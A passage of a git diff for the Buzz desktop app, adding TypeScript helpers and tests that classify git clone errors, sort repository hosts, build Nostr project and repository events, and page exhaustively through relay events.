+    projectCloneErrorPresentation(new Error("Could not resolve host")).title,
+    "Couldn’t reach the repository",
+  );
+});
+
+test("uses a concise fallback", () => {
+  assert.deepEqual(projectCloneErrorPresentation(new Error("git failed")), {
+    title: "Couldn’t clone repository",
+    description:
+      "Try again. If the problem continues, contact the repository owner.",
+  });
+});
diff --git a/desktop/src/features/projects/lib/projectGitError.ts b/desktop/src/features/projects/lib/projectGitError.ts
new file mode 100644
index 0000000000..b99933f1e7
--- /dev/null
+++ b/desktop/src/features/projects/lib/projectGitError.ts
@@ -0,0 +1,72 @@
+export type ProjectGitErrorPresentation = {
+  title: string;
+  description: string;
+};
+
+function errorText(error: unknown) {
+  if (error instanceof Error) return error.message.toLowerCase();
+  return typeof error === "string" ? error.toLowerCase() : "";
+}
+
+function isGitHubUrl(cloneUrl: string | null | undefined) {
+  try {
+    return new URL(cloneUrl ?? "").hostname.toLowerCase() === "github.com";
+  } catch {
+    return false;
+  }
+}
+
+export function projectCloneErrorPresentation(
+  error: unknown,
+  cloneUrl?: string | null,
+): ProjectGitErrorPresentation {
+  const message = errorText(error);
+  const github = isGitHubUrl(cloneUrl);
+
+  if (
+    /\b(?:401|403)\b|authenticat|authoriz|permission denied|access denied|ssh certificate/.test(
+      message,
+    )
+  ) {
+    return {
+      title: "Repository access required",
+      description: github
+        ? "This repository requires GitHub authentication. Buzz currently clones public GitHub repositories without credentials."
+        : "Buzz could not authenticate with this repository. Check your access and try again.",
+    };
+  }
+  if (/\b404\b|repository not found|repository does not exist/.test(message)) {
+    return {
+      title: "Repository not found",
+      description:
+        "Check that the repository link is correct and that the repository still exists.",
+    };
+  }
+  if (
+    /timed? out|could not resolve host|failed to connect|connection (?:refused|reset)|network is unreachable|offline/.test(
+      message,
+    )
+  ) {
+    return {
+      title: "Couldn’t reach the repository",
+      description: "Check your connection and try cloning again.",
+    };
+  }
+  if (
+    /already exists and is not an empty directory|destination path .* exists/.test(
+      message,
+    )
+  ) {
+    return {
+      title: "Local folder already exists",
+      description:
+        "Choose a different repositories directory or remove the existing checkout.",
+    };
+  }
+  return {
+    title: "Couldn’t clone repository",
+    description: github
+      ? "Try again, or open the repository on GitHub for more information."
+      : "Try again. If the problem continues, contact the repository owner.",
+  };
+}
diff --git a/desktop/src/features/projects/lib/projectLocalRepos.ts b/desktop/src/features/projects/lib/projectLocalRepos.ts
index e89e323129..8380a1e19f 100644
--- a/desktop/src/features/projects/lib/projectLocalRepos.ts
+++ b/desktop/src/features/projects/lib/projectLocalRepos.ts
@@ -1,4 +1,4 @@
-import type { Project } from "@/features/projects/hooks";
+import type { Project, Repository } from "@/features/projects/hooks";
 
 function localRepoNameCandidate(value: string | null | undefined) {
   const trimmed = value?.trim().replace(/\.git$/i, "") ?? "";
@@ -26,7 +26,7 @@ function cloneUrlRepoName(cloneUrl: string | undefined) {
   }
 }
 
-function localRepoCandidates(project: Project) {
+function localRepoCandidates(project: Repository) {
   return [
     localRepoNameCandidate(project.dtag),
     cloneUrlRepoName(project.cloneUrls[0]),
@@ -39,7 +39,16 @@ export function hasLocalCheckout(
   project: Project,
   localRepoNames: Set<string>,
 ) {
-  return localRepoCandidates(project).some((candidate) =>
+  return project.repositories.some((repository) =>
+    hasLocalRepositoryCheckout(repository, localRepoNames),
+  );
+}
+
+export function hasLocalRepositoryCheckout(
+  repository: Repository,
+  localRepoNames: Set<string>,
+) {
+  return localRepoCandidates(repository).some((candidate) =>
     localRepoNames.has(candidate),
   );
 }
diff --git a/desktop/src/features/projects/lib/projectRepoAvailability.test.mjs b/desktop/src/features/projects/lib/projectRepoAvailability.test.mjs
new file mode 100644
index 0000000000..b1a40ca9ba
--- /dev/null
+++ b/desktop/src/features/projects/lib/projectRepoAvailability.test.mjs
@@ -0,0 +1,49 @@
+import assert from "node:assert/strict";
+import { test } from "node:test";
+
+import { projectRepoUnavailableReason } from "./projectRepoAvailability.ts";
+
+test("classifies a missing repository", () => {
+  assert.equal(
+    projectRepoUnavailableReason(new Error("remote: Repository not found")),
+    "missing",
+  );
+  assert.equal(projectRepoUnavailableReason(null), "missing");
+});
+
+test("classifies authentication failures before generic availability errors", () => {
+  assert.equal(
+    projectRepoUnavailableReason(
+      new Error("The requested URL returned error: 403"),
+    ),
+    "authentication",
+  );
+  assert.equal(
+    projectRepoUnavailableReason(new Error("Authentication failed")),
+    "authentication",
+  );
+});
+
+test("classifies branch and network failures", () => {
+  assert.equal(
+    projectRepoUnavailableReason(
+      new Error("Remote branch main not found in upstream origin"),
+    ),
+    "ref",
+  );
+  assert.equal(
+    projectRepoUnavailableReason(new Error("Could not resolve host: relay")),
+    "network",
+  );
+  assert.equal(
+    projectRepoUnavailableReason(new Error("git timed out after 300s")),
+    "network",
+  );
+});
+
+test("keeps unmatched failures generic", () => {
+  assert.equal(
+    projectRepoUnavailableReason(new Error("git exited with status 128")),
+    "unknown",
+  );
+});
diff --git a/desktop/src/features/projects/lib/projectRepoAvailability.ts b/desktop/src/features/projects/lib/projectRepoAvailability.ts
new file mode 100644
index 0000000000..803548d3dd
--- /dev/null
+++ b/desktop/src/features/projects/lib/projectRepoAvailability.ts
@@ -0,0 +1,48 @@
+export type ProjectRepoUnavailableReason =
+  | "missing"
+  | "authentication"
+  | "network"
+  | "ref"
+  | "unknown";
+
+export function projectRepoUnavailableReason(
+  error: unknown,
+): ProjectRepoUnavailableReason {
+  const message =
+    error instanceof Error
+      ? error.message.toLowerCase()
+      : typeof error === "string"
+        ? error.toLowerCase()
+        : "";
+
+  if (!message) return "missing";
+  if (
+    /\b(?:401|403)\b|authenticat|authoriz|permission denied|access denied/.test(
+      message,
+    )
+  ) {
+    return "authentication";
+  }
+  if (
+    /\b404\b|repository not found|repository does not exist|not found on the relay/.test(
+      message,
+    )
+  ) {
+    return "missing";
+  }
+  if (
+    /remote branch .* not found|could not resolve the requested repository ref|couldn't find remote ref/.test(
+      message,
+    )
+  ) {
+    return "ref";
+  }
+  if (
+    /timed? out|could not resolve host|failed to connect|connection (?:refused|reset)|network is unreachable|offline/.test(
+      message,
+    )
+  ) {
+    return "network";
+  }
+  return "unknown";
+}
diff --git a/desktop/src/features/projects/lib/projectRepoHost.ts b/desktop/src/features/projects/lib/projectRepoHost.ts
new file mode 100644
index 0000000000..07e27f922c
--- /dev/null
+++ b/desktop/src/features/projects/lib/projectRepoHost.ts
@@ -0,0 +1,78 @@
+import { effectiveCloneUrls } from "./projectCloneUrl";
+
+export type ProjectRepoHost =
+  | { kind: "buzz" }
+  | { kind: "external"; host: string }
+  | { kind: "unresolved" };
+
+/**
+ * Classifies the canonical git remote using the same origin and path boundary
+ * enforced by the Tauri git commands. This is presentation/query gating only;
+ * Rust remains the security boundary for clone operations.
+ */
+export function projectRepoHost(
+  cloneUrl: string | null | undefined,
+  relayOrigin: string | null | undefined,
+): ProjectRepoHost {
+  if (!cloneUrl || !relayOrigin) return { kind: "unresolved" };
+
+  try {
+    const clone = new URL(cloneUrl);
+    const relay = new URL(relayOrigin);
+    const isBuzzPath = /^\/git\/[0-9a-f]{64}\/[^/]+\/?$/i.test(clone.pathname);
+
+    if (clone.origin === relay.origin && isBuzzPath) {
+      return { kind: "buzz" };
+    }
+
+    return { kind: "external", host: clone.host };
+  } catch {
+    return { kind: "unresolved" };
+  }
+}
+
+type RepositoryHostInput = {
+  cloneUrls: string[];
+  dtag: string;
+  owner: string;
+  repoAddress?: string;
+};
+
+export function projectRepoHostForRepository(
+  repository: RepositoryHostInput | null | undefined,
+  relayOrigin: string | null | undefined,
+): ProjectRepoHost {
+  if (!repository) return { kind: "unresolved" };
+  const cloneUrl = effectiveCloneUrls(
+    repository.cloneUrls,
+    relayOrigin,
+    repository.owner,
+    repository.dtag,
+  )[0];
+  return projectRepoHost(cloneUrl, relayOrigin);
+}
+
+export function projectRepoHostForProject(
+  project:
+    | RepositoryHostInput
+    | {
+        primaryRepositoryAddress: string | null;
+        repositories: RepositoryHostInput[];
+      }
+    | null
+    | undefined,
+  relayOrigin: string | null | undefined,
+): ProjectRepoHost {
+  if (!project) return { kind: "unresolved" };
+  if (!("repositories" in project)) {
+    return projectRepoHostForRepository(project, relayOrigin);
+  }
+
+  const repository =
+    project.repositories.find(
+      (candidate) => candidate.repoAddress === project.primaryRepositoryAddress,
+    ) ??
+    project.repositories[0] ??
+    null;
+  return projectRepoHostForRepository(repository, relayOrigin);
+}
diff --git a/desktop/src/features/projects/lib/projectsViewHelpers.ts b/desktop/src/features/projects/lib/projectsViewHelpers.ts
index 0328271441..6084c7275f 100644
--- a/desktop/src/features/projects/lib/projectsViewHelpers.ts
+++ b/desktop/src/features/projects/lib/projectsViewHelpers.ts
@@ -2,16 +2,23 @@ import type {
   Project,
   ProjectActivitySummary,
 } from "@/features/projects/hooks";
+import { selectProjectRepository } from "@/features/projects/projectModels";
 import type { UserProfileLookup } from "@/features/profile/lib/identity";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 
 export type ProjectsViewMode = "grid" | "list";
-export type ProjectsRepositoryScope = "all" | "mine" | "local";
+export type ProjectsRepositoryScope =
+  | "all"
+  | "mine"
+  | "local"
+  | "buzz"
+  | "linked";
 export type ProjectsWorkItemScope = "all" | "mine";
 export type ProjectsFilter =
   | "all"
   | "mine"
   | "local"
+  | "projects"
   | "repositories"
   | "prs"
   | "issues"
@@ -51,6 +58,7 @@ export function readStoredFilter(): ProjectsFilter {
     const value = globalThis.localStorage?.getItem(PROJECTS_FILTER_STORAGE_KEY);
     return value === "mine" ||
       value === "local" ||
+      value === "projects" ||
       value === "repositories" ||
       value === "prs" ||
       value === "issues" ||
@@ -76,7 +84,14 @@ export function readStoredRepositoryScope(): ProjectsRepositoryScope {
     const value = globalThis.localStorage?.getItem(
       PROJECTS_REPOSITORY_SCOPE_STORAGE_KEY,
     );
-    if (value === "mine" || value === "local") return value;
+    if (
+      value === "mine" ||
+      value === "local" ||
+      value === "buzz" ||
+      value === "linked"
+    ) {
+      return value;
+    }
     const legacyFilter = globalThis.localStorage?.getItem(
       PROJECTS_FILTER_STORAGE_KEY,
     );
@@ -244,7 +259,10 @@ export function projectPeople(
     ...new Set(
       [
         project.owner,
-        ...project.contributors,
+        ...project.repositories.flatMap((repository) => [
+          repository.owner,
+          ...repository.contributors,
+        ]),
         ...(summary?.participantPubkeys ?? []),
       ].map(normalizePubkey),
     ),
@@ -269,7 +287,7 @@ export function normalizeRepositoryUrl(url: string) {
 }
 
 export function getClonePathLabel(project: Project) {
-  const cloneUrl = project.cloneUrls[0];
+  const cloneUrl = selectProjectRepository(project, null)?.cloneUrls[0];
   if (!cloneUrl) return "Clone path pending";
 
   try {
@@ -281,9 +299,7 @@ export function getClonePathLabel(project: Project) {
 }
 
 function repositoryIdentityKey(project: Project) {
-  const cloneUrl = project.cloneUrls[0];
-  if (cloneUrl) return normalizeRepositoryUrl(cloneUrl);
-  return (project.name || project.dtag).trim().toLowerCase();
+  return project.id;
 }
 
 export function uniqueRepositories(projects: Project[]) {
@@ -325,8 +341,12 @@ export function isProjectMine(
   const normalizedCurrentPubkey = normalizePubkey(currentPubkey);
   return (
     normalizePubkey(project.owner) === normalizedCurrentPubkey ||
-    project.contributors.some(
-      (pubkey) => normalizePubkey(pubkey) === normalizedCurrentPubkey,
+    project.repositories.some(
+      (repository) =>
+        normalizePubkey(repository.owner) === normalizedCurrentPubkey ||
+        repository.contributors.some(
+          (pubkey) => normalizePubkey(pubkey) === normalizedCurrentPubkey,
+        ),
     )
   );
 }
diff --git a/desktop/src/features/projects/projectActivity.d.mts b/desktop/src/features/projects/projectActivity.d.mts
index 7277e7bf79..ec09ba9095 100644
--- a/desktop/src/features/projects/projectActivity.d.mts
+++ b/desktop/src/features/projects/projectActivity.d.mts
@@ -1,7 +1,7 @@
-import type { ProjectActivitySummary, Project } from "./hooks";
+import type { ProjectActivitySummary, Repository } from "./hooks";
 import type { RelayEvent } from "@/shared/api/types";
 
 export function summarizeProjectActivityEvents(
   events: RelayEvent[],
-  projects: Project[],
+  projects: Repository[],
 ): Record<string, ProjectActivitySummary>;
diff --git a/desktop/src/features/projects/projectCreation.test.mjs b/desktop/src/features/projects/projectCreation.test.mjs
new file mode 100644
index 0000000000..ed6e9328cd
--- /dev/null
+++ b/desktop/src/features/projects/projectCreation.test.mjs
@@ -0,0 +1,87 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  buildInitialProjectEventTemplates,
+  isUnsupportedProjectKindError,
+} from "./projectCreation.ts";
+
+const OWNER = "a".repeat(64);
+const CHANNEL = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
+
+test("buildInitialProjectEventTemplates emits a NIP-MP project", () => {
+  const templates = buildInitialProjectEventTemplates({
+    accessChannelId: CHANNEL,
+    cloneUrl: "https://relay.example/git/owner/sprout.git",
+    description: "A multi-repository workspace",
+    name: "Sprout",
+    ownerPubkey: OWNER,
+    webUrl: "https://example.com/sprout",
+  });
+
+  assert.equal(templates.dtag, "sprout");
+  assert.equal(templates.project.kind, 30621);
+  assert.equal(templates.repository.kind, 30617);
+  assert.deepEqual(templates.project.tags, [
+    ["d", "sprout"],
+    ["name", "Sprout"],
+    ["buzz-channel", CHANNEL],
+    ["description", "A multi-repository workspace"],
+    ["a", `30617:${OWNER}:sprout`],
+  ]);
+  assert.equal(templates.project.content, "");
+  assert.deepEqual(templates.repository.tags, [
+    ["d", "sprout"],
+    ["name", "Sprout"],
+    ["buzz-channel", CHANNEL],
+    ["description", "A multi-repository workspace"],
+    ["clone", "https://relay.example/git/owner/sprout.git"],
+    ["web", "https://example.com/sprout"],
+  ]);
+});
+
+test("buildInitialProjectEventTemplates rejects names without an identifier", () => {
+  assert.throws(
+    () =>
+      buildInitialProjectEventTemplates({
+        accessChannelId: CHANNEL,
+        name: "!!!",
+        ownerPubkey: OWNER,
+      }),
+    /letters or numbers/,
+  );
+});
+
+test("buildInitialProjectEventTemplates enforces the description tag byte limit", () => {
+  assert.doesNotThrow(() =>
+    buildInitialProjectEventTemplates({
+      accessChannelId: CHANNEL,
+      description: "🙂".repeat(512),
+      name: "Sprout",
+      ownerPubkey: OWNER,
+    }),
+  );
+  assert.throws(
+    () =>
+      buildInitialProjectEventTemplates({
+        accessChannelId: CHANNEL,
+        description: "🙂".repeat(513),
+        name: "Sprout",
+        ownerPubkey: OWNER,
+      }),
+    /2,048 bytes/,
+  );
+});
+
+test("isUnsupportedProjectKindError recognizes relay kind compatibility failures", () => {
+  assert.equal(
+    isUnsupportedProjectKindError(
+      new Error("restricted: unknown event kind 30621"),
+    ),
+    true,
+  );
+  assert.equal(
+    isUnsupportedProjectKindError(new Error("mock project event rejection")),
+    false,
+  );
+});
diff --git a/desktop/src/features/projects/projectCreation.ts b/desktop/src/features/projects/projectCreation.ts
new file mode 100644
index 0000000000..a42cf7bfd7
--- /dev/null
+++ b/desktop/src/features/projects/projectCreation.ts
@@ -0,0 +1,113 @@
+import {
+  KIND_PROJECT_ANNOUNCEMENT,
+  KIND_REPO_ANNOUNCEMENT,
+} from "@/shared/constants/kinds";
+import { isValidProjectChannelId } from "./projectModels";
+
+export type ProjectEventTemplate = {
+  kind: number;
+  content: string;
+  tags: string[][];
+};
+
+export type InitialProjectEventTemplates = {
+  dtag: string;
+  project: ProjectEventTemplate;
+  repository: ProjectEventTemplate;
+  repositoryAddress: string;
+};
+
+export function isUnsupportedProjectKindError(error: unknown): boolean {
+  return (
+    error instanceof Error &&
+    /(?:unknown|unsupported) event kind/i.test(error.message)
+  );
+}
+
+function projectDtagFromName(name: string): string {
+  return name
+    .toLowerCase()
+    .replace(/[^a-z0-9]+/g, "-")
+    .replace(/^-+|-+$/g, "");
+}
+
+export function buildInitialProjectEventTemplates({
+  accessChannelId,
+  cloneUrl,
+  description,
+  name,
+  ownerPubkey,
+  webUrl,
+}: {
+  accessChannelId: string;
+  cloneUrl?: string;
+  description?: string;
+  name: string;
+  ownerPubkey: string;
+  webUrl?: string;
+}): InitialProjectEventTemplates {
+  const normalizedName = name.trim();
+  if (!normalizedName) {
+    throw new Error("Project name is required.");
+  }
+  if (new TextEncoder().encode(normalizedName).byteLength > 256) {
+    throw new Error("Project name must not exceed 256 bytes.");
+  }
+  const dtag = projectDtagFromName(normalizedName);
+  if (!dtag) {
+    throw new Error("Project name must include letters or numbers.");
+  }
+  const normalizedOwner = ownerPubkey.trim().toLowerCase();
+  if (!/^[0-9a-f]{64}$/.test(normalizedOwner)) {
+    throw new Error("Project owner public key is invalid.");
+  }
+
+  const normalizedDescription = description?.trim() ?? "";
+  if (new TextEncoder().encode(normalizedDescription).byteLength > 2_048) {
+    throw new Error("Project description must not exceed 2,048 bytes.");
+  }
+  const repositoryTags: string[][] = [
+    ["d", dtag],
+    ["name", normalizedName],
+  ];
+  const projectTags: string[][] = [
+    ["d", dtag],
+    ["name", normalizedName],
+  ];
+  const normalizedAccessChannelId = accessChannelId.trim();
+  if (!isValidProjectChannelId(normalizedAccessChannelId)) {
+    throw new Error("Repository access channel is invalid.");
+  }
+  repositoryTags.push(["buzz-channel", normalizedAccessChannelId]);
+  projectTags.push(["buzz-channel", normalizedAccessChannelId]);
+  if (normalizedDescription) {
+    repositoryTags.push(["description", normalizedDescription]);
+    projectTags.push(["description", normalizedDescription]);
+  }
+  const normalizedCloneUrl = cloneUrl?.trim();
+  if (normalizedCloneUrl) {
+    repositoryTags.push(["clone", normalizedCloneUrl]);
+  }
+  const normalizedWebUrl = webUrl?.trim();
+  if (normalizedWebUrl) {
+    repositoryTags.push(["web", normalizedWebUrl]);
+  }
+
+  const repositoryAddress = `${KIND_REPO_ANNOUNCEMENT}:${normalizedOwner}:${dtag}`;
+  projectTags.push(["a", repositoryAddress]);
+
+  return {
+    dtag,
+    project: {
+      kind: KIND_PROJECT_ANNOUNCEMENT,
+      content: "",
+      tags: projectTags,
+    },
+    repository: {
+      kind: KIND_REPO_ANNOUNCEMENT,
+      content: normalizedDescription,
+      tags: repositoryTags,
+    },
+    repositoryAddress,
+  };
+}
diff --git a/desktop/src/features/projects/projectEnumeration.test.mjs b/desktop/src/features/projects/projectEnumeration.test.mjs
new file mode 100644
index 0000000000..5d60bd4766
--- /dev/null
+++ b/desktop/src/features/projects/projectEnumeration.test.mjs
@@ -0,0 +1,144 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  enumerateProjectEvents,
+  buildProjectsFromFetcher,
+} from "./projectEnumeration.ts";
+
+function relayEvent(id, createdAt) {
+  return {
+    id: id.repeat(64),
+    kind: 30617,
+    pubkey: "a".repeat(64),
+    created_at: createdAt,
+    content: "",
+    tags: [["d", id]],
+  };
+}
+
+function fetcherFor(events) {
+  return async ({ limit, since, until }) =>
+    events
+      .filter(
+        (event) =>
+          (since === undefined || event.created_at >= since) &&
+          (until === undefined || event.created_at <= until),
+      )
+      .sort(
+        (left, right) =>
+          right.created_at - left.created_at || left.id.localeCompare(right.id),
+      )
+      .slice(0, limit);
+}
+
+test("enumerateProjectEvents drains a tied boundary second before advancing", async () => {
+  const events = [
+    relayEvent("a", 1_000),
+    relayEvent("b", 900),
+    relayEvent("c", 900),
+    relayEvent("d", 800),
+  ];
+
+  const result = await enumerateProjectEvents(fetcherFor(events), [30617], 3);
+
+  assert.deepEqual(
+    result.map((event) => event.id).sort(),
+    events.map((event) => event.id).sort(),
+  );
+});
+
+test("enumerateProjectEvents refuses to present a truncated boundary as complete", async () => {
+  const events = [
+    relayEvent("a", 1_000),
+    relayEvent("b", 1_000),
+    relayEvent("c", 1_000),
+  ];
+
+  await assert.rejects(
+    enumerateProjectEvents(fetcherFor(events), [30617], 2),
+    /cannot exhaustively enumerate/,
+  );
+});
+
+// ── Tombstone fetch-failure gate ─────────────────────────────────────────────
+//
+// `buildProjectsFromFetcher` (and therefore `fetchProjects`) must throw rather
+// than returning a project list when the kind:5 tombstone enumeration rejects.
+// A silent empty-set substitution would resurrect every deleted head served by
+// a history-retaining relay.
+
+test("buildProjectsFromFetcher throws when kind-5 tombstone enumeration rejects", async () => {
+  const OWNER = "a".repeat(64);
+  const DTAG = "relay";
+
+  const projectEvent = {
+    id: "p".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 200,
+    content: "",
+    tags: [["d", DTAG]],
+  };
+  const repoEvent = {
+    id: "r".repeat(64),
+    kind: 30617,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "",
+    tags: [
+      ["d", DTAG],
+      ["name", DTAG],
+    ],
+  };
+
+  // Fetcher: succeeds for project/repo kinds, rejects for kind:5 (tombstones).
+  const fetchExhaustively = async (kinds) => {
+    if (kinds.includes(5)) {
+      throw new Error("relay unavailable");
+    }
+    if (kinds.includes(30621)) return [projectEvent];
+    if (kinds.includes(30617)) return [repoEvent];
+    return [];
+  };
+
+  await assert.rejects(
+    buildProjectsFromFetcher(fetchExhaustively),
+    /Could not fetch project deletion records/,
+    "tombstone fetch failure must propagate as a throw, not an empty deletion set",
+  );
+});
+
+test("buildProjectsFromFetcher does not throw when tombstone enumeration succeeds with an empty result", async () => {
+  // Verify the happy path: no tombstones → returns projects without error.
+  const OWNER = "a".repeat(64);
+
+  const fetchExhaustively = async (kinds) => {
+    if (kinds.includes(5)) return []; // no deletions
+    if (kinds.includes(30621)) return []; // no explicit projects
+    if (kinds.includes(30617))
+      return [
+        {
+          id: "r".repeat(64),
+          kind: 30617,
+          pubkey: OWNER,
+          created_at: 100,
+          content: "",
+          tags: [
+            ["d", "relay"],
+            ["name", "relay"],
+          ],
+        },
+      ];
+    return [];
+  };
+
+  const projects = await buildProjectsFromFetcher(fetchExhaustively);
+  // Legacy project (unclaimed repo) should appear.
+  assert.ok(Array.isArray(projects), "must return a project array");
+  assert.equal(
+    projects.some((p) => p.legacy),
+    true,
+    "unclaimed repo must appear as legacy project",
+  );
+});
diff --git a/desktop/src/features/projects/projectEnumeration.ts b/desktop/src/features/projects/projectEnumeration.ts
new file mode 100644
index 0000000000..072b417a5b
--- /dev/null
+++ b/desktop/src/features/projects/projectEnumeration.ts
@@ -0,0 +1,129 @@
+import { relayClient } from "@/shared/api/relayClient";
+import type { RelayEvent } from "@/shared/api/types";
+import {
+  KIND_DELETION,
+  KIND_PROJECT_ANNOUNCEMENT,
+  KIND_REPO_ANNOUNCEMENT,
+} from "@/shared/constants/kinds";
+import { buildProjectReadModels, type Project } from "./projectModels";
+
+const PROJECT_ENUMERATION_PAGE_SIZE = 500;
+
+type ProjectEventFilter = {
+  kinds: number[];
+  limit: number;
+  since?: number;
+  until?: number;
+};
+
+type FetchProjectEventPage = (
+  filter: ProjectEventFilter,
+) => Promise<RelayEvent[]>;
+
+/**
+ * Enumerates a NIP-01 websocket filter with the boundary-bucket drain required
+ * by NIP-MP. A bare `until` cursor cannot safely advance until every event in
+ * the oldest returned second has been retrieved.
+ */
+export async function enumerateProjectEvents(
+  fetchPage: FetchProjectEventPage,
+  kinds: number[],
+  pageSize: number,
+): Promise<RelayEvent[]> {
+  if (!Number.isSafeInteger(pageSize) || pageSize <= 0) {
+    throw new Error(
+      "Project enumeration page size must be a positive integer.",
+    );
+  }
+
+  const eventsById = new Map<string, RelayEvent>();
+  let until: number | undefined;
+
+  for (;;) {
+    const page = await fetchPage({
+      kinds,
+      limit: pageSize,
+      ...(until === undefined ? {} : { until }),
+    });
+    for (const event of page) eventsById.set(event.id, event);
+    if (page.length < pageSize) return [...eventsById.values()];
+
+    const oldest = Math.min(...page.map((event) => event.created_at));
+    const boundary = await fetchPage({
+      kinds,
+      limit: pageSize,
+      since: oldest,
+      until: oldest,
+    });
+    for (const event of boundary) eventsById.set(event.id, event);
+    if (boundary.length >= pageSize) {
+      // Invariant violation: the relay has more events sharing this exact
+      // second than the page limit. Enumeration is statically uncompletable
+      // at the current page size. Rather than present a silently truncated
+      // collection, we hard-error. If this surfaces in production, the fix is
+      // either a larger pageSize constant or a relay-side deduplication pass.
+      // TODO: add a telemetry event here so pathological relay states are
+      // diagnosable before they reach users.
+      throw new Error(
+        "The relay cannot exhaustively enumerate projects because too many events share one timestamp.",
+      );
+    }
+    if (oldest <= 0) return [...eventsById.values()];
+    until = oldest - 1;
+  }
+}
+
+export function fetchProjectEventsExhaustively(
+  kinds: number[],
+  pageSize = PROJECT_ENUMERATION_PAGE_SIZE,
+): Promise<RelayEvent[]> {
+  return enumerateProjectEvents(
+    (filter) => relayClient.fetchEvents(filter),
+    kinds,
+    pageSize,
+  );
+}
+
+/**
+ * Core fetch-and-build logic for `fetchProjects`, extracted for testability.
+ *
+ * Accepts an injectable `fetchExhaustively` so unit tests can stub individual
+ * kind enumerations (including injecting a rejection for kind:5 tombstones) without
+ * pulling in the Tauri relay client.
+ *
+ * Fail-closed: if the kind:5 tombstone enumeration rejects, throws rather than
+ * returning an empty deletion set that would resurrect every deleted head.
+ */
+export async function buildProjectsFromFetcher(
+  fetchExhaustively: (kinds: number[]) => Promise<RelayEvent[]>,
+  options: {
+    relayOrigin?: string | null;
+    hiddenAddresses?: ReadonlySet<string>;
+  } = {},
+): Promise<Project[]> {
+  const [projectEvents, repositoryEvents, tombstoneResult] = await Promise.all([
+    fetchExhaustively([KIND_PROJECT_ANNOUNCEMENT]),
+    fetchExhaustively([KIND_REPO_ANNOUNCEMENT]),
+    fetchExhaustively([KIND_DELETION]).then(
+      (events) => ({ ok: true as const, events }),
+      (error: unknown) => ({
+        ok: false as const,
+        message: error instanceof Error ? error.message : "Unknown error",
+      }),
+    ),
+  ]);
+
+  if (!tombstoneResult.ok) {
+    throw new Error(
+      `Could not fetch project deletion records: ${tombstoneResult.message} — refresh to retry.`,
+    );
+  }
+
+  return buildProjectReadModels({
+    projectEvents,
+    repositoryEvents,
+    deletionEvents: tombstoneResult.events,
+    relayOrigin: options.relayOrigin ?? null,
+    hiddenAddresses: options.hiddenAddresses ?? new Set(),
+  }).sort((a, b) => b.createdAt - a.createdAt);
+}
diff --git a/desktop/src/features/projects/projectIssues.d.mts b/desktop/src/features/projects/projectIssues.d.mts
index b31dc3c1ff..4b0420602c 100644
--- a/desktop/src/features/projects/projectIssues.d.mts
+++ b/desktop/src/features/projects/projectIssues.d.mts
@@ -24,6 +24,8 @@ export type ProjectIssue = {
   author: string;
   createdAt: number;
   repoAddress: string | null;
+  channelId: string | null;
+  originAgentName: string | null;
   labels: string[];
   recipients: string[];
   status: ProjectIssueStatus;
@@ -54,6 +56,11 @@ export function projectIssueEventsToIssues(
   statusEvents?: RelayEvent[],
   commentEvents?: RelayEvent[],
 ): ProjectIssue[];
+export function nextProjectIssueCommentCreatedAt(
+  issue: ProjectIssue,
+  now: number,
+  author: string,
+): number;
 export function buildGitIssueTags(input: {
   repoAddress: string;
   repoOwner: string;
diff --git a/desktop/src/features/projects/projectIssues.mjs b/desktop/src/features/projects/projectIssues.mjs
index 0655245866..331837ac5b 100644
--- a/desktop/src/features/projects/projectIssues.mjs
+++ b/desktop/src/features/projects/projectIssues.mjs
@@ -110,6 +110,8 @@ export function eventToProjectIssue(
     author: issue.pubkey,
     createdAt: issue.created_at,
     repoAddress: getTag(issue, "a") ?? null,
+    channelId: getTag(issue, "h") ?? null,
+    originAgentName: getTag(issue, "buzz-origin-agent") ?? null,
     labels: getAllTags(issue, "t"),
     recipients: getAllTags(issue, "p"),
     status: statusFromEvent(issue, latestStatus),
@@ -134,6 +136,17 @@ export function projectIssueEventsToIssues(
     .sort((left, right) => right.updatedAt - left.updatedAt);
 }
 
+/** Keep consecutive comments ordered across whole-second Nostr timestamps. */
+export function nextProjectIssueCommentCreatedAt(issue, now, author) {
+  const normalizedAuthor = author.toLowerCase();
+  return Math.max(
+    now,
+    ...issue.comments
+      .filter((comment) => comment.author.toLowerCase() === normalizedAuthor)
+      .map((comment) => comment.createdAt + 1),
+  );
+}
+
 export function buildGitIssueTags({
   repoAddress,
   repoOwner,
diff --git a/desktop/src/features/projects/projectIssues.test.mjs b/desktop/src/features/projects/projectIssues.test.mjs
index 2d0fb5fb45..3275412149 100644
--- a/desktop/src/features/projects/projectIssues.test.mjs
+++ b/desktop/src/features/projects/projectIssues.test.mjs
@@ -6,6 +6,7 @@ import {
   eventToProjectIssue,
   getAllTags,
   getTag,
+  nextProjectIssueCommentCreatedAt,
   PROJECT_ISSUE_STATUS,
 } from "./projectIssues.mjs";
 
@@ -125,6 +126,31 @@ test("preserves root and comment tags for rich content rendering", () => {
   assert.deepEqual(issue.comments[0].tags, [comment.tags[1]]);
 });
 
+test("parses public and private-safe issue provenance", () => {
+  const channelId = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
+  const publicIssue = eventToProjectIssue(
+    issueEvent({
+      tags: [
+        ["a", REPO_ADDRESS],
+        ["h", channelId],
+      ],
+    }),
+  );
+  const privateIssue = eventToProjectIssue(
+    issueEvent({
+      tags: [
+        ["a", REPO_ADDRESS],
+        ["buzz-origin-agent", "Builder"],
+      ],
+    }),
+  );
+
+  assert.equal(publicIssue.channelId, channelId);
+  assert.equal(publicIssue.originAgentName, null);
+  assert.equal(privateIssue.channelId, null);
+  assert.equal(privateIssue.originAgentName, "Builder");
+});
+
 test("builds repository-scoped issue creation tags", () => {
   assert.deepEqual(
     buildGitIssueTags({
@@ -139,3 +165,39 @@ test("builds repository-scoped issue creation tags", () => {
     ],
   );
 });
+
+test("orders consecutive issue comments across whole-second timestamps", () => {
+  const issue = eventToProjectIssue(
+    issueEvent(),
+    [],
+    [
+      {
+        id: "comment-1",
+        kind: 1,
+        pubkey: AUTHOR,
+        created_at: 200,
+        content: "First",
+        tags: [["e", "e".repeat(64), "", "root"]],
+      },
+      {
+        id: "comment-2",
+        kind: 1,
+        pubkey: AUTHOR,
+        created_at: 201,
+        content: "Second",
+        tags: [["e", "e".repeat(64), "", "root"]],
